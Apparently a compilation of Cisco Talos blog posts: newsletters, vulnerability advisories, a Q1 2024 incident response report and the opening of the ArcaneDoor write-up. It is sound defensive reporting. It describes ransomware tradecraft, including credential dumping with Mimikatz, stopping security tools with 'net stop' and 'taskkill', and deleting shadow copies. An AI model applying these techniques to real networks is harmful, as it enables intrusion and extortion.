Brute force attacks are one of the most elementary cyber threats out there. Technically, anyone with a keyboard and some free time could launch one of them — just try a bunch of different username and password combinations on the website of your choice until you get blocked.
Nick Biasini and I discussed some of the ways that organizations can defend against brute force attacks since detection usually doesn’t fall into the usual bucket (ex., there’s nothing an anti-virus program could detect running). But a good place to start just seems to be implementing strong password rules, because people, unsurprisingly, are still using some of the most obvious passwords that anyone, attacker or not, would guess.
There are some classics on this list — the ever-present “Password” password, Passw0rd (with a zero, not an “O”) and “123456.” This tells me that users still haven’t learned their lesson. It’s somewhat funny to think about some well-funded actor just being like, “Well, let me try to ‘hack’ into this machine by using ‘123456’” as if they’re in a parody movie, but if they already can guess a username based off someone’s real name, it’s not that unlikely that password is being used somewhere.
A few other example passwords stood out to me: “Mart1x21,” because I can’t tell if this is just someone named “Martin” or a play on the month of March, and things like “Spring2024x21” and “April2024x21” because I appreciate the idea that someone using that weak of a password thinks that adding the extra three characters onto “April2024” is really going to throw an attacker off.
Looking at this list got me thinking about what some potential solutions are to the internet’s password problem, and our ever-present battle to educate users and warn them about the dangers of using weak or default passwords.
Going passwordless is certainly one option because if there just are no passwords to log in, there’s nothing text-based an attacker could just start guessing.
The best solution I’ve seen recently is that the U.K. literally made a law requiring hardware and software manufacturers to implement stronger security standards. The Product Security and Telecommunications Infrastructure (PSTI) that went into effect last month contains a range of security protections companies must follow, but they now include mandatory password rules that will force users to change default passwords when registering for new accounts and stop them from using easy-to-guess passwords like “Admin” and “12345.”
It would be great if users would just stop using these credentials on their own, but if attackers are still thinking that someone out there is using “Password” as their password, they probably are.
The one big thing
For the first time in several quarters, business email compromise (BEC) was the most common threat in Cisco Talos Incident Response (Talos IR) engagements during the first quarter of 2024. BEC made up 46 percent of all engagements in Q1, a significant spike from Q4 2023, according to the latest Talos IR Quarterly Trends Report. Ransomware, which was the top-observed threat in the last quarter of 2023, decreased by 11 percent. Talos IR also observed a variety of threats in engagements, including data theft extortion, brute-force activity targeting VPNs, and the previously seen commodity loader Gootloader.
Why do I care?
BEC is a tactic adversaries use to disguise themselves as legitimate members of a business and send phishing emails to other employees or third parties, often pointing to a malicious payload or engineering a scheme to steal money. The use of email-hiding inbox rules was the top-observed defense evasion technique, accounting for 21 percent of engagements this quarter, which was likely due to an increase in BEC and phishing within engagements. These are all valuable insights from the field provided in Talos IR’s full report.
So now what?
There are some known indicators of compromise that customers can look for if they suspect The lack of MFA remains one of the biggest impediments for enterprise security. All organizations should implement some form of MFA, such as Cisco Duo. The implementation of MFA and a single sign-on system can ensure only trusted parties are accessing corporate email accounts, to prevent the spread of BEC. If you’d like to read about other lessons from recent Talos IR engagements, read the one-pager here or the blog post here.
Top security headlines of the week
The chief executive of UnitedHealth Group testified to U.S. Congress on Wednesday regarding the recent cyber attack against Change Healthcare. Change’s operations went nearly completely dark for weeks earlier this year after a data breach, which likely resulted in millions of patients’ records and personal information being accessed. Lawmakers questioned whether UnitedHealth was too involved in the nation’s medical systems, as Change manages a third of all American patient records and processes more than 15 billion transactions a year at doctor’s offices, hospitals and other medical providers. As a result of the outage, some healthcare practitioners went more than a month without being paid, and many had to tap into their personal funds to keep offices open. UnitedHealth’s CEO told Congress the company was still working to figure out the full extent of the campaign and was talking to U.S. agencies about how to best notify individuals who were affected. The hearing has also generated a conversation around consolidation in the American healthcare industry and whether some groups are controlling too much of the patient base. (The New York Times, CNBC)
Vulnerabilities in a popular phone tracking app could allow anyone to view all users’ locations. A security researcher recently found that iSharing, which allows users to see the exact location of a device, contains a vulnerability that prevented the app's servers from conducting proper checks of user data access. iSharing is advertised as an app for users who want to track friends' and family members’ locations or as an extra layer of security if their device were to be lost or stolen. The flaws also exposed users’ names, profile pictures, email addresses and phone numbers. The researcher who discovered the vulnerability was able to show a proof-of-concept exploitation almost immediately after creating a brand new account on the app. Representatives from the developers of iSharing told TechCrunch that the company’s logs did not show any signs of the vulnerability being exploited prior to the researcher’s disclosure. These types of apps can also be used as “stalkerware,” in which someone who knows a targeted user quietly downloads the app on a target’s phone, and then uses it to remotely track their location. (TechCrunch)
Adversaries are hiding malware in GitHub comments, disguising malicious code as URLs associated with Microsoft repositories, and making the files appear trustworthy. Although some security researchers view this as a vulnerability, Microsoft maintains that it is merely a feature of using GitHub. While adversaries have so far mainly abused this feature to mirror Microsoft URLs, it could theoretically be used to create convincing lures on any GitHub repository. When a user leaves a comment in GitHub, they can attach a file, which is then uploaded to GitHub’s CDN and associated with the related project using a unique URL. GitHub automatically generates the link to download that attachment after adding the file to an unsaved comment, allowing threat actors to attach malware to any repository without the administrators knowing. This method has already been abused to distribute the Readline information-stealing trojan by attaching comments to Microsoft’s GitHub-hosted repositories for “vcpkg” and “STL.” The malicious URL will even still work if the poster deletes the comment, allowing them to reuse the GitHub-generated URL. (Bleeping Computer, Dark Reading)
Gergana Karadzhova-Dangela from Cisco Talos Incident Response will participate in a panel on “Using ECSF to Reduce the Cybersecurity Workforce and Skills Gap in the EU.” Karadzhova-Dangela participated in the creation of the EU cybersecurity framework, and will discuss how Cisco has used it for several of its internal initiatives as a way to recruit and hire new talent.
Cisco Talos’ Vulnerability Research team has disclosed more than a dozen vulnerabilities over the past three weeks, five in a device that allows employees to check in and out of their shifts, and another that exists in an open-source library used in medical device imaging files.
The Peplink Smart Reader contains several vulnerabilities, including one issue that could allow an adversary to obtain the administrator’s login credentials and the MD5-hashed version of their password.
Talos also recently helped to responsibly disclose and patch other vulnerabilities in the Foxit PDF Reader and two open-source libraries that support the processing and handling of DICOM files.
For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.
Code execution, information disclosure vulnerabilities in Peplink Smart Reader
Discovered by Matt Wiseman.
The Peplink Smart Reader is an internet-connected device associated with the PepXIM Time-Logging and Security System. Companies’ employees use this device to check in and out of their shifts, allowing administrators to keep track of time cards and pay. It also can control access to certain buildings, and even public transportation.
There are two information disclosure vulnerabilities, TALOS-2023-1863 (CVE-2023-43491) and TALOS-2023-1865 (CVE-2023-45209), that are triggered if an adversary sends a specially crafted HTTP message to the targeted device.
If successful, the attacker could eventually view the active administrator’s username and MD5-hased password. And in the case of TALOS-2023-1865, it goes a step further, potentially allowing the adversary to view wireless network credentials, network configuration details and SNMP configuration details.
With those credentials (or admin credentials obtained by other means), an adversary could exploit TALOS-2023-1868 (CVE-2023-40146), a privilege escalation vulnerability in the Smart Reader. An adversary could execute a specially crafted command line argument to cause a limited-shell escape and execute unblocked, default busybox functionality to eventually gain access to an uninhibited root shell.
TALOS-2023-1866 (CVE-2023-45744) is also triggered by a specially crafted HTTP request, but in this case, could allow an adversary to manipulate certain configuration settings on the device.
The most serious of the issues Talos discovered in the Smart Reader is TALOS-2023-1867 (CVE-2023-39367), a command injection vulnerability that could allow an attacker to execute arbitrary commands. This vulnerability has a 9.1 CVSS score out of 10. An authenticated attacker can leverage this vulnerability to execute arbitrary commands on the device with root privileges and elevate their access to the vulnerable system.
An invalid pointer dereference vulnerability exists in the HTTP server header parsing functionality of the Silicon Labs Gecko Platform.
The Gecko Platform SDK is the collection of Silicon Labs’ wireless software development kits and Gecko Platform into an integrated package. It allows users to develop applications inside Silicon Labs’ internet-of-things software ecosystem.
TALOS-2024-1945 (CVE-2023-51391) is triggered if an adversary sends the target a specially crafted network packet, which could lead to a denial-of-service condition.
Incorrect type conversion vulnerability in open-source library for DICOM files
Discovered by Emmanuel Tacheau.
There is an incorrect type conversion vulnerability in OFFIS DCMTK, an open-source library often used to manage, store and convert DICOM files. DICOM is the commonly used file type to transfer, send and store medical imaging files, such as X-rays and ultrasounds.
Hospitals and companies use DCMTK for various purposes, ranging from product testing to being a building block for research projects, prototypes and commercial products.
TALOS-2024-1957 (CVE-2024-28130) could allow an adversary to execute arbitrary code on the targeted machine if they trick the user into opening a specially crafted file.
Out-of-bounds write vulnerabilities in Grassroots DICOM library
Discovered by Emmanuel Tacheau.
Another open-source library for handling DICOM files, Grassroots DiCoM, contains three out-of-bounds writer vulnerabilities.
TALOS-2024-1944 (CVE-2024-25569) and TALOS-2024-1935 (CVE-2024-22373) can be triggered if an adversary tricks the target into opening a specially crafted, malicious DICOM file, eventually allowing them to read out-of-bounds memory.
TALOS-2024-1924 (CVE-2024-22391) works in the same way, but in this case, causes a heap-based buffer overflow, leading to memory corruption.
Three vulnerabilities in Foxit PDF Reader could lead to arbitrary code execution
Discovered by KPC.
Three vulnerabilities exist in Foxit PDF Reader that could allow an adversary to execute arbitrary code on the targeted machine.
Foxit PDF Reader is one of the most popular pieces of PDF-reading software currently available and aims to have feature parity with Adobe Acrobat Reader. It also includes a browser plugin to allow users to open files in their web browsers.
TALOS-2024-1959 (CVE-2024-25648) and TALOS-2024-1958 (CVE-2024-25938) are use-after-free vulnerabilities that can be triggered if an attacker tricks a user into opening a malicious, specially crafted PDF. This could also work if the user has the browser plugin enabled and the adversary tricks them into opening an attacker-controlled webpage. These vulnerabilities could lead to a use-after-free issue, potentially leading to memory corruption and arbitrary code execution.
There is also a type confusion vulnerability, TALOS-2024-1963 (CVE-2024-25575), that could also lead to memory corruption and arbitrary code execution.
With RSAC just a week away, Cisco Talos is gearing up for another year of heading to San Francisco to share in some of the latest major cybersecurity announcements, research and news.
We’ve pulled together the highlights, so you don’t miss out on all things Talos.
Tuesday, May 5
Joe Marshall will be presenting on Project Power Up alongside Tara Vasyliv of NPC UKRENERGO on how Talos has helped to protect Ukraine’s power grid from disruptive electronic warfare. Reserve your seat for the 8:30 a.m. session here.
Nick Biasini will be giving a lighting talk at the Cisco Booth N-5845 in the North Hall at 3:30 p.m. on the good, the bad and the ugly of ransomware in 2024.
Hoffman will be out again, this time hosting a session on applying past lessons learned in hopes of a better future for identify threat detection at 9:40 a.m. in Moscone West 3022. Reserve a seat for the session here.
And you can always follow along all week on X and LinkedIn for the latest updates.
If state-sponsored actors are after one thing, it’s to spread fear and uncertainty across the internet.
There’s always money to be made targeting individual businesses and organizations, but for James Nutland’s work, it’s always about the bigger picture. And his background in studying counterterrorism and interpersonal social dynamics provides him a unique perspective on APTs’ goals and methods.
Nutland, an analyst with Cisco Talos’ Threat Intelligence and Interdiction team, didn’t begin his journey into cybersecurity through the traditional pathways. Instead, he went to college to obtain his bachelor’s degree in social psychology, particularly interested in social engineering, eventually obtaining his master’s in counterterrorism from the University of East London.
That may sound like a degree someone gets to serve on a physical battlefield, but as Nutland puts it, security research and counterterrorism carry some of the same throughlines.
“It’s providing you a set of skills you can then use in multiple modalities,” he said. “It’s the analysis, the eagerness to delve into the unknown, to assess swathes of noisy information, picking out the pieces to establish different threads to try and establish patterns and hopefully attribution — it’s that kind of analytical investigative thinking that really helps for threat hunting.”
Nutland (right) speaking at MITRE ATT&CK Con last year.
Nutland’s technical experience comes from his undergraduate days when he started working in tech support for his college. Eventually, he got into system administration work after he moved to the U.S. during the peak of the COVID-19 pandemic.
After various roles protecting both business and academic environments, Nutland decided to apply to Talos essentially on a whim after seeing a job listing whilst researching IOCs on the Talos intelligence center. In his current role, he conducts regular threat hunting and analysis campaigns to learn more about broader trends in the security landscape and state-sponsored threat actors. His work recently led to the disclosure of a campaign targeting Mexico users with tax-themed lure documents called “TimbreStealer,” and he participates in Cisco Talos Incident Response’s Intel-on-Demand service.
Nutland says he goes into every engagement or new project with a completely open mind and a blank slate — using his background investigating terror operations to find out as much as he can about a particular adversary’s operation.
“With my academic background, I’m very inquisitive. That’s proven to be a good asset,” he said. “I have a good understanding of the content and presentation of intelligence sought after in security management and operations. It’s great providing this intelligence, but providing actionable intelligence for security teams, understanding what’s required for that, it’s integral for many of the products we produce.”
Recently, Nutland says he’s been focusing more on tracking prominent and burgeoning ransomware threat actors, as well as researching dark web activities where threat actors are leveraging obfuscated channels for their communication. Social media sites have gotten better about blocking this type of activity, he said, which has pushed them to decentralized communication platforms. He’s also tracking dark web sites that are used for obtaining ransom payments, spreading propaganda and trying to radicalize other users.
Nutland’s work has also been crucial in Talos’ support of Ukraine during Russia’s invasion. He worked on several victim notifications for the Ukraine Task Force and discovered the malicious use of a defense evasion tool, which can wipe traces and logs of any USB devices that may have been connected to hardware and certain user activity on the host.
“I initially saw a suspicious specific set of commands that were being run related to the executable, that I was able to track across multiple potential Ukrainian victims which Ukrainian organizations are now looking to crack down on,” Nutland said.
In all his roles so far in his career, Nutland said he’s experienced various forms of imposter syndrome throughout his career, as many do. He said he often found himself questioning decisions, or feeling like other teammates were more qualified for his role. But at Talos, his managers have encouraged him to turn over every rock and go into every situation, curious and open. That’s allowed him to overcome that imposter syndrome and become a sponge, learning everything he could about a particular topic and becoming an expert in his own right.
This culminated in a presentation to more than 300 people at the MITRE ATT&CKcon 4.0 in October, where he and his teammate, Nicole Hoffman, gave a talk about how threat actors can use the ATT&CK framework to track adversary activity.
“Here are these titans of threat intelligence at a world-renowned convention. And here’s me, recently employed at Talos, and with incredible imposter syndrome,” Nutland said. “But there were about 300 people in the room, and Nicole and I knocked it out of the park. I never thought I’d be doing that.”
Outside of the office, Nutland enjoys playing rugby, and he even was recently able to play a scrimmage against the Colombian National Team, a particular highlight for his career outside of cybersecurity.
I wrote last week about the problems arising from the massive backlog of vulnerabilities at the U.S. National Vulnerability Database.
Thousands of CVEs are still without analysis data, and the once-reliable database of every single vulnerability that’s disclosed and/or patched is now so far behind, it could take up to 100 days for the National Institute of Standards and Technology (NIST) to catch up, and that would be assuming no new vulnerabilities are disclosed during that period.
While the U.S. government and NIST try to sort out a potential solution, and hopefully await more funding and restructuring, NIST says it’s hoping to launch a consortium to help either rebuild the NVD or create a replacement.
Other security experts have floated the idea of other companies or organizations creating a brand-new solution of their own. The main problem with that is, what’s in it for them?
What works about the NVD is that it’s funded by the U.S. government, so the money is always coming in to help fund the workforce and at least gives MITRE and the other private companies who contribute to the NVD motivation to keep working on it.
To start up a whole new database of *every* CVE out there would take countless man-hours, and then what at the end? Would the company or person(s) who created it start charging for access?
Several open-source solutions haveman-hours popped up over the past few weeks, such as “NVD Data Overrides,” which “is meant to provide additional data that is currently missing from NVD.” However, these types of volunteer projects still can’t assign CVSS scores, because only the NVD is authorized to hand out official NVD CVSS scores.
This brings up another problem for private companies that may want to develop a solution: Do they want to play referee?
Sometimes, when there’s a disagreement on how severe a vulnerability is and what severity score to assign it, the NVD will weigh in and provide their own, independently calculated CVSS score. Who really wants to be the “bad guy” to get between a massive tech company like Microsoft or Apple and a security researcher saying a vulnerability is a 9.5 out of 10 CVSS?
I absolutely give major credit to any volunteers or open-source developers who are working on their own solutions for essentially nothing — but how long can we expect them to keep maintaining these databases?
Unfortunately, I don’t have a great answer for this, either. I’m far from an expert on vulnerability management, nor do I have any connections to the federal government. But I do feel the onus is on the government to come up with a solution, and potentially provide incentives for companies and researchers to participate in this new proposed consortium because I don’t see the incentives there for the private sector to come up with their own solution.
The one big thing
ArcaneDoor is a new campaign that is the latest example of state-sponsored actors targeting perimeter network devices from multiple vendors. Talos and Cisco PSIRT recently identified a previously unknown actor, now tracked as UAT4356 by Talos and STORM-1849 by the Microsoft Threat Intelligence Center. This actor utilized bespoke tooling that demonstrated a clear focus on espionage and an in-depth knowledge of the devices that they targeted, hallmarks of a sophisticated state-sponsored actor. UAT4356 deployed two backdoors as components of this campaign, “Line Runner” and “Line Dancer,” which were used collectively to conduct malicious actions on-target, which included configuration modification, reconnaissance, network traffic capture/exfiltration and potentially lateral movement.
Why do I care?
Gaining a foothold on these devices allows an actor to directly pivot into an organization, reroute or modify traffic and monitor network communications. In the past two years, we have seen a dramatic and sustained increase in the targeting of these devices in areas such as telecommunications providers and energy sector organizations — critical infrastructure entities that are likely strategic targets of interest for many foreign governments. As a critical path for data into and out of the network, these devices need to be routinely and promptly patched; using up-to-date hardware and software versions and configurations; and be closely monitored from a security perspective.
So now what?
There are some known indicators of compromise that customers can look for if they suspect they may have been targeted in this campaign. First, organizations should look for any flows to/from ASA devices to any of the IP addresses present in the IOC list provided at the bottom of this blog. This is one indication that further investigation is necessary. Potential targets can also follow the steps detailed in the Cisco ASA Forensic Investigation Procedures for First Responders. When following these procedures, first responders should NOT attempt to collect a core dump or reboot the device if they believe that the device has been compromised, based on the lina memory region output. Talos also released some Snort signatures to detect the activity on the wire including access attempts. Snort Signatures 63139, 62949 and 45575 have been released to detect the implants or associated behaviors.
Top security headlines of the week
A previously known Windows print spooler bug is still being actively exploited, according to Microsoft. The company’s threat research team recently disclosed that APT28, a well-known Russian state-sponsored actor, is exploiting the vulnerability to deliver a previously unknown malware called “GooseEgg.” Microsoft disclosed and patched CVE-2022-38028 in October 2022, but APT28 may have been exploiting it as far back as 2020. The actor’s exploitation involved modifying a JavaScript constraints file in the printer spooler and executing it with SYSTEM-level permissions. The new research prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add CVE-2022-38028 to its Known Exploited Vulnerabilities (KEV) catalog. If installed, GooseEgg can load other applications with System-level permissions and allow the adversary to execute remote code on the targeted device or deploy other backdoors. Another set of print spooler vulnerabilities, called PrintNightmare, made headlines in July 2021, though no one reported active exploitation of that vulnerability at the time. (SC Magazine, Security Week)
A new investigation revealed how members of the group Scattered Spider are partnering with Russian state-sponsored actors to carry out ransomware attacks. Scattered Spider is made up of younger individuals based out of the U.S., U.K. and Canada. They are primarily English speakers who have been blamed for several notable ransomware attacks, including one against MGM Casinos that disrupted operations at several casinos and hotels last year. The group specializes in social engineering, more recently using LinkedIn to steal employee information and use that to infiltrate corporate networks. Members, some as young as teenagers, are connecting over the dark web and online forums like Discord and use their advanced knowledge of Western civilization to provide crucial details to Russian actors. The “60 Minutes” investigation also included new details about The Community (aka “The Comm,” the online collection of hackers who like to brag about their recent cybercrimes, often through Telegram. (CBS News)
The U.S. government has re-upped a law that expands government surveillance by opening the door for private companies to partner with the government on these types of activities. The controversial Foreign Intelligence Surveillance Act (FISA) was re-approved just hours after it lapsed. The White House and proponents in U.S. Congress argued that the powers granted in Section 702 of the FISA helps prevent the spread of terrorism and cyber attacks and that any lapse in those powers would harm the government’s ability to gather crucial intelligence. However, privacy advocates say that the FISA is an overreach, and provides too much power for private companies to potentially spy on consumers. The bill also includes a new definition of “electronic communications service provider,” which could allow the U.S. government to force Big Tech companies and telecommunications providers to hand over users’ data if requested. (NBC News, TechCrunch)
Over the past year, we’ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra's presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.
Business email compromise (BEC) was the top threat observed by Cisco Talos Incident Response (Talos IR) in the first quarter of 2024, accounting for nearly half of engagements, which is more than double what was observed in the previous quarter.
The most observed means of gaining initial access was the use of compromised credentials on valid accounts, which accounted for 29 percent of engagements. The high number of BEC attacks likely played a significant role in valid accounts being the top attack vector this quarter. Weaknesses involving multi-factor authentication (MFA) were observed within nearly half of engagements this quarter, with the top observed weakness being users accepting unauthorized push notifications, occurring within 25 percent of engagements.
There was a slight decrease in ransomware this quarter, accounting for 17 percent of engagements. Talos IR responded to new variants of Phobos and Akira ransomware for the first time this quarter.
Manufacturing was the most targeted vertical this quarter, closely followed by education, a continuation from Q4 2024 where manufacturing and education were also two of the most targeted verticals. There was a 20 percent increase in manufacturing engagements from the previous quarter.
The manufacturing sector faces unique challenges due to its inherently low tolerance for operational downtime. This quarter, Talos IR observed a wide range of threat activity targeting manufacturing organizations including financially motivated attacks, such as BEC and ransomware, and some brute force activity targeting virtual private network (VPN) infrastructure. The use of compromised credentials on valid accounts was the top observed attack vector within attacks targeting the manufacturing sector this quarter, which represents a change from the previous quarter when the top attack vector observed in these types of engagements was exploiting vulnerabilities in public-facing applications.
Watch discussion on the report's biggest trends
Surge in BEC
Within BEC attacks, adversaries will send phishing emails appearing to be from a known or reputable source making a valid request, such as updating payroll direct deposit information. BEC attacks can have many motivations, often financially driven, aimed at tricking organizations into transferring funds or sensitive information to malicious actors.
BEC offers adversaries the advantage of impersonating trusted contacts to facilitate internal spearphishing attacks that can bypass traditional external defenses and increase the likelihood of deception, widespread malware infections and data theft.
In one engagement, adversaries performed a password-spraying attack and MFA exhaustion attacks against several employee accounts. There was a lack of proper MFA implementation across all the impacted accounts, leading to the adversaries gaining access to at least two accounts using single-factor authentication. The organization detected and disrupted the attack before adversaries could further their access or perform additional post-compromise activities.
In another cluster of activity, several employees received spear-phishing emails that contained links that, when clicked, led to a redirection chain of web pages ultimately landing on a legitimate single sign-on (SSO) prompt that was pre-populated with each victim’s email address. The attack was unsuccessful because none of the employees interacted with the email, which was likely due to multiple red flags. For example, the email was unexpected and sent from an external email address, and there was small text within the email that referred to the email as a fax, which was all indicators of a phishing attempt.
Ransomware trends
Ransomware accounted for 17 percent of engagements this quarter, an 11 percent decrease from the previous quarter. Talos IR observed new variants of Akira and Phobos ransomware for the first time this quarter.
Akira
Talos IR responded to an Akira ransomware attack for the first time this quarter in an engagement where affiliates deployed the latest ESXi version, “Akira_v2,” as well as a Windows-based variant of Akira named “Megazord.” These new Akira variants are written in the Rust programming language, which is a notable change from the previously used C++ and Crypto++ programming languages.
Talos IR could not determine how initial access was gained, which is common because ransomware attacks often involve multi-stage attack strategies that add additional complexity during the investigation process. Once inside the network, the adversaries began collecting credentials from the memory of the Local Security Authority Subsystem Service (LSASS) and the New Technology Directory Services Directory Information Tree (NTDS.dit) database, where Active Directory data is stored, and leveraged Remote Desktop Protocol (RDP) for lateral movement. Prior to encryption, Megazord ransomware began executing several commands to disable tools and impair defenses, including “net stop” and “taskkill.” Akira_v2 appended the file extension “.akiranew” during encryption, while Megazord ransomware appended the file extension “.powerranges”.
First discovered in early 2023, Akira operates as a ransomware-as-a-service (RaaS) model and employs a double extortion scheme that involves exfiltrating data before encryption. Akira affiliates are known to heavily target small- to medium-sized businesses within several verticals primarily located within the U.S. but have targeted organizations within the U.K., Canada, Iceland, Australia and South Korea. Akira affiliates are notorious for leveraging compromised credentials and exploiting vulnerabilities as a means of gaining initial access, such as the SQL injection vulnerability, tracked as CVE-2021-27876, affecting certain versions of Zoho ManageEngine ADSelfService Plus, and the vulnerability, tracked as CVE-2023-27532, affecting certain versions of Veeam’s Backup & Replication (VBS) software.
Phobos
Talos IR has previously observed variants of Phobos ransomware, such as “Faust,” but this quarter, Talos IR responded to an engagement with the “BackMyData” variant of Phobos ransomware. The adversaries leveraged Mimikatz to dump credentials from Active Directory. The adversary also installed several tools in the NirSoft product suite designed to recover passwords, such as PasswordFox and ChromePass, for additional credential enumeration.
The adversaries used PsExec to access the domain controller before setting a registry key to permit remote desktop connections. Shortly after, the adversaries also modified the firewall to allow remote desktop connections using the Windows scripting utility, netsh. The remote access tool AnyDesk was downloaded to enable remote access as a means of persistence in the environment. Talos IR assessed with high confidence that Windows Secure Copy (WinSCP) and Secure Shell (SSH) were likely used to exfiltrate staged data. Adversaries also relied on PsExec to execute commands, such as deleting volume shadow copies, as a precursor to deploying the ransomware executable. After encryption, the ransomware appended the file extension “.fastbackdata”.
A notable finding was the persistent use of the “Users/[username]/Music” directory as a staging area for data exfiltration to host malicious scripts, tools and malware, a common technique used by numerous ransomware affiliates to evade detection and remain persistent in the environment. Talos IR also identified a digitally signed executable, “HRSword,” developed by Beijing Huorong Network Technology. It is a tool the affiliate used during the attack for potential secure file deletion and as a defensive measure to disable endpoint protection tools, which Phobos affiliates were previously using, according to public reporting.
Phobos ransomware first emerged in late 2018 and shared many similarities with the Crysis and Dharma ransomware families. Unlike other ransomware families, there are many variants of Phobos ransomware, such as Eking, Eight, Elbie, Devos and Faust. There is little information known about the business model leveraged by the Phobos ransomware operation. In November 2023, Cisco Talos analyzed over a thousand samples of Phobos ransomware to learn more about the affiliate structure and activity, which revealed that Phobos may operate a RaaS model due to the hundreds of contact emails and IDs associated with Phobos campaigns, indicating the malware has a dispersed affiliate base. Talos assessed with moderate confidence that the Phobos ransomware operation is actively managed by a central authority, as there is only one private key capable of decryption in all observed campaigns.
Other observed threats
Talos IR responded to an attack where adversaries were attempting to brute force several Cisco Adaptive Security Appliances (ASAs). Although the adversaries were unsuccessful in their attack, this activity is in line with the recently observed trend affecting VPN services.
Cisco Talos has recently seen an increase in malicious activity targeting VPN services, web application authentication interfaces, and Secure Shell (SSH) globally. Since at least March 18, Cisco has observed scanning and brute force activity sourcing from The Onion Router (TOR) exit nodes and other anonymous tunnels and proxies.
Depending on the target environment, a successful attack could result in unauthorized access to a target network, possibly leading to account lockouts and denial-of-service (DoS) conditions. The brute force attempts include a combination of generic usernames and valid usernames unique to specific organizations. The activity seems indiscriminate and has been observed across multiple industry verticals and geographic regions.
Initial vectors
The most observed means of gaining initial access was the use of compromised credentials on valid accounts, accounting for 29 percent of engagements, a continuation of a trend from the previous quarter when valid accounts were also a top attack vector.
Security weaknesses
For the first time, users accepting unauthorized MFA push notifications was the top observed security weakness, accounting for 25 percent of engagements this quarter. The lack of proper MFA implementation closely followed, accounting for 21 percent of engagements, a 44 percent decrease from the previous quarter.
Users must have a clear understanding of the appropriate business response protocols when their devices are overwhelmed with an excessive volume of push notifications. Talos IR recommends organizations educate their employees about the specific channels and points of contact for reporting these incidents. Prompt and accurate reporting enables security teams to quickly identify the nature of the issue and implement the necessary measures to address the situation effectively. Organizations should also consider implementing number-matching in MFA applications to provide an additional layer of security to prevent users from accepting malicious MFA push notifications.
Talos IR recommends implementing MFA on all critical services including all remote access and identity access management (IAM) services. MFA will be the most effective method for the prevention of remote-based compromises. It also prevents lateral movement by requiring all administrative users to provide a second form of authentication. Organizations can set up alerting for single-factor authentication to quickly identify potential gaps.
Top observed MITRE ATT&CK techniques
The table below represents the MITRE ATT&CK techniques observed in this quarter’s IR engagements and includes relevant examples and the number of times seen. Given that some techniques can fall under multiple tactics, we grouped them under the most relevant tactic based on the way they were leveraged. Please note, this is not an exhaustive list.
Key findings from the MITRE ATT&CK framework include:
Remote access software, such as SplashTop and AnyDesk, were used in 17 percent of engagements this quarter, a 20 percent decrease from the previous quarter.
The use of email hiding rules was the top observed defense evasion technique, accounting for 21 percent of engagements this quarter.
Scheduled tasks were leveraged by adversaries the most this quarter for persistence, accounting for 17 percent of engagements this quarter, a 33 percent increase from the previous quarter.
The abuse of remote services, such as RDP, SSH, SMB and WinRM, more than doubled this quarter compared to the previous quarter, accounting for nearly 60 percent of engagements.
*Updated 2024-04-25 16:57 GMT with minor wording corrections regarding the targeting of other vendors.
ArcaneDoor is a campaign that is the latest example of state-sponsored actors targeting perimeter network devices from multiple vendors. Coveted by these actors, perimeter network devices are the perfect intrusion point for espionage-focused campaigns. As a critical path for data into and out of the network, these devices need to be routinely and promptly patched; using up-to-date hardware and software versions and configurations; and be closely monitored from a security perspective. Gaining a foothold on these devices allows an actor to directly pivot into an organization, reroute or modify traffic and monitor network communications. In the past two years, we have seen a dramatic and sustained increase in the targeting of these devices in areas such as telecommunications providers and energy sector organizations — critical infrastructure entities that are likely strategic targets of interest for many foreign governments.
Cisco’s position as a leading global network infrastructure vendor gives Talos’ Intelligence and Interdiction team immense visibility into the general state of network hygiene. This also gives us uniquely positioned investigative capability into attacks of this nature. Early in 2024, a vigilant customer reached out to both Cisco’s Product Security Incident Response Team (PSIRT) and Cisco Talos to discuss security concerns with their Cisco Adaptive Security Appliances (ASA). PSIRT and Talos came together to launch an investigation to assist the customer. During that investigation, which eventually included several external intelligence partners and spanned several months, we identified a previously unknown actor now tracked as UAT4356 by Talos and STORM-1849 by the Microsoft Threat Intelligence Center. This actor utilized bespoke tooling that demonstrated a clear focus on espionage and an in-depth knowledge of the devices that they targeted, hallmarks of a sophisticated state-sponsored actor.
UAT4356 deployed two backdoors as components of this campaign, “Line Runner” and “Line Dancer,” which were used collectively to conduct malicious actions on-target, which included configuration modification, reconnaissance, network traffic capture/exfiltration and potentially lateral movement.
Critical Fixes Available
Working with victims and intelligence partners, Cisco uncovered a sophisticated attack chain that was used to implant custom malware and execute commands across a small set of customers. While we have been unable to identify the initial attack vector, we have identified two vulnerabilities (CVE-2024-20353 and CVE-2024-20359), which we detail below. Customers are strongly advised to follow the guidance published in the security advisories discussed below.
Further, network telemetry and information from intelligence partners indicate the actor is interested in — and potentially attacking — Microsoft Exchange servers and network devices from other vendors. Regardless of your network equipment provider, now is the time to ensure that the devices are properly patched, logging to a central, secure location, and are configured to have strong, multi-factor authentication (MFA). Additional recommendations specific to Cisco are available here.
Timeline
Cisco was initially alerted to suspicious activity on an ASA device in early 2024. The investigation that followed identified additional victims, all of which involved government networks globally. During the investigation, we identified actor-controlled infrastructure dating back to early November 2023, with most activity taking place between December 2023 and early January 2024. Further, we have identified evidence that suggests this capability was being tested and developed as early as July 2023.
Cisco has identified two vulnerabilities that were abused in this campaign (CVE-2024-20353 and CVE-2024-20359). Patches for these vulnerabilities are detailed in the Cisco Security Advisories released today.
Initial Access
We have not determined the initial access vector used in this campaign. We have not identified evidence of pre-authentication exploitation to date. Our investigation is ongoing, and we will provide updates, if necessary, in the security advisories or on this blog.
Line Dancer: In-Memory Implant Technical Details
The malware implant has a couple of key components. The first is a memory-only implant, called “Line Dancer.” This implant is a memory-resident shellcode interpreter that enables adversaries to upload and execute arbitrary shellcode payloads.
